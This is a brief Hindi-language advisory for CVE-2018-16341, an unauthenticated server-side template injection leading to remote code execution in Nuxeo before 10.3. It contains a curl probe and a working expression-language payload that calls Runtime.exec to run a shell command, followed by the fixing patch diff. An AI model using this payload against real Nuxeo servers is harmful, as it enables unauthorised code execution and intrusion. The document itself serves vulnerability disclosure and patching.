
CVE-2018-16341 - सर्वर साइड टेम्पलेट इंजेक्शन का उपयोग करके बिना प्रमाणीकरण के Nuxeo रिमोट कोड निष्पादन
Nuxeo प्रमाणीकरण बायपास रिमोट कोड निष्पादन < 10.3 SSTI का उपयोग करके - CVE-2018-16341

विस्तृत विश्लेषण (अंग्रेजी नहीं):
सुरक्षा सलाह:
नोट: Nuxeo 9.x का संस्करण अब Nuxeo द्वारा समर्थित नहीं है लेकिन संस्करण 9.x के लिए एक हॉटफिक्स प्रदान किया गया है। मेरी तरफ से, संस्करण 9.10 असुरक्षित था।
यह PoC सर्वर साइड टेम्पलेट इंजेक्शन (SSTI) का शोषण करके NuxeoUnknownResource.java फ़ाइल में स्थित RCE प्राप्त करता है।
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
सुधार
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}